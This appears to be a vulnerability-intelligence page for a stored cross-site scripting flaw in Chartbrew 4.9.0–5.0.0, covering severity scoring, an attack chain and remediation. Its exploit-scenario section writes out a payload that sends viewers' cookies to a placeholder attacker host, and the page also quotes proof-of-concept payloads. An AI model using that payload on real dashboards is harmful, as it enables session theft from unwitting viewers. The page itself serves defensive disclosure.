Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconObtain project-editor access on Chartbrew
-
DeliveryStore XSS payload in ChartDatasetConfig.legend
-
ExploitPublish chart on public dashboard
-
InstallVictim loads dashboard URL
-
C2Chart.js renders tooltip via innerHTML
-
ExecutePayload executes in viewer browser
-
ImpactExfiltrate session data or pivot
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | The attacker must hold project-editor permissions on the target Chartbrew instance to write the malicious legend value (PR:L in the CVSS vector), and the affected chart must be embedded in a publicly shared dashboard for unauthenticated viewers to be reached. Victim exposure is automatic on dashboard page load - no hover, click, or other tooltip interaction is required, which makes UI:R effectively passive. Limiting factors: installations that do not expose public dashboards, restrict editor roles to fully trusted users, or run only versions outside 4.9.0-5.0.0 are not exploitable through this path. |
| Impact | The CVSS 3.1 vector AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N yields 7.6 (High), reflecting network reach, low complexity, the requirement for low-privileged authentication to plant the payload, scope change into the victim's browser context, and high confidentiality impact on viewers. The UI:R metric represents the victim loading the public dashboard rather than a click, which materially lowers the bar in practice because every unauthenticated viewer is auto-triggered on page load. No EPSS score, KEV listing, or SSVC decision was supplied in the input, so widespread exploitation cannot be asserted; however, the GHSA advisory explicitly documents Playwright-verified payload firing, indicating the issue is reproducible and not theoretical. Net assessment: moderately high priority for any Chartbrew deployment exposing public dashboards, lower for fully internal/authenticated-only instances since at least project-editor access is required to plant the payload. |
| Exploit ScenarioDerived | An attacker who has obtained or been granted project-editor permissions on a Chartbrew instance edits a chart and stores a payload such as <img src="x" onerror="fetch('https://attacker/'+document.cookie)"> in the dataset legend field. The chart is then included in a publicly shared dashboard URL, and every unauthenticated visitor who loads that dashboard automatically executes the payload in their browser - the GHSA confirmed alert('localhost') and document.domain payloads via Playwright. Because scope changes to the viewer's browser, the attacker can exfiltrate session data from any other content the viewer has in that origin or pivot to phishing. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jun 04, 2026
Stored cross-site scripting in Chartbrew 4.9.0 through 5.0.0 lets a project-editor inject HTML/JavaScript into the ChartDatasetConfig.legend field, which is later rendered into the chart tooltip DOM via an unguarded innerHTML sink in ChartTooltip.js. Every unauthenticated viewer of a public dashboard executes the attacker payload on page load with no hover interaction required, and no public exploit is identified at time of analysis beyond the proof-of-concept payloads documented in the GitHub Security Advisory. Version 5.0.1 contains the fix.
RemediationAI
Vendor-released patch: upgrade Chartbrew to version 5.0.1 or later, which corrects the unsafe innerHTML assignment in ChartTooltip.js (see https://github.com/chartbrew/chartbrew/security/advisories/GHSA-6q2j-365c-7gqf). If immediate upgrade is not possible, compensating controls include unpublishing or access-restricting any public dashboards (which eliminates the unauthenticated victim surface but removes the public-sharing feature), tightening project-editor role assignments to trusted users only (reduces who can plant a payload but does not stop already-stored payloads from firing), auditing existing ChartDatasetConfig.legend values in the database for HTML/script content and sanitizing or clearing them, and deploying a strict Content-Security-Policy on the Chartbrew origin that forbids inline script execution (which can break legitimate inline handlers in the UI and should be tested in staging first).
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Chartbrew is an open-source Node.js/React web application that connects to databases and APIs to build dashboards using the Chart.js rendering library. The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation) realized as a stored XSS: tainted data from the ChartDatasetConfig.legend field is persisted verbatim to the database, threaded through the Chart.js rendering pipeline, and finally written to the #chartjs-tooltip DOM element using innerHTML inside ChartTooltip.js. Because innerHTML parses HTML rather than escaping it, payloads such as <img src="x" onerror="..."> are activated by the browser as the tooltip element is constructed, before any user interaction occurs.
Know when the next one hits your stack
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
Lifecycle Timeline
1DescriptionGitHub Advisory
Chartbrew is an open-source web application that can connect directly to databases and APIs and use the data to create charts. In versions 4.9.0 through 5.0.0, an authenticated user with project-editor permissions can store arbitrary HTML/JavaScript in the ChartDatasetConfig.legend field. The payload is persisted verbatim in the database, propagated through the Chart.js rendering pipeline, and injected into the tooltip DOM element via an unguarded innerHTML assignment in ChartTooltip.js. Every unauthenticated viewer of the public dashboard triggers JavaScript execution on page load - no hover interaction is required. Browser-based Playwright verification confirmed alert('localhost') fires immediately and <img src="x" onerror="alert(document.domain)"> is present in the #chartjs-tooltip DOM element. Version 5.0.1 contains a fix.
Executive ViewAI
Chartbrew versions 4.9.0 through 5.0.0 contain a stored cross-site scripting vulnerability with publicly available exploit code that allows project editors to inject malicious scripts into dashboard tooltips. These scripts execute automatically in the browsers of all dashboard viewers, with maximum exposure when dashboards are public-affecting customers, partners, and employees without requiring authentication or user interaction.
Apply vendor patch.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
EUVD-2026-34319
NVD
CVE.org
EPSS
Vulnrichment
GitHub
VulDB
Exploit-DB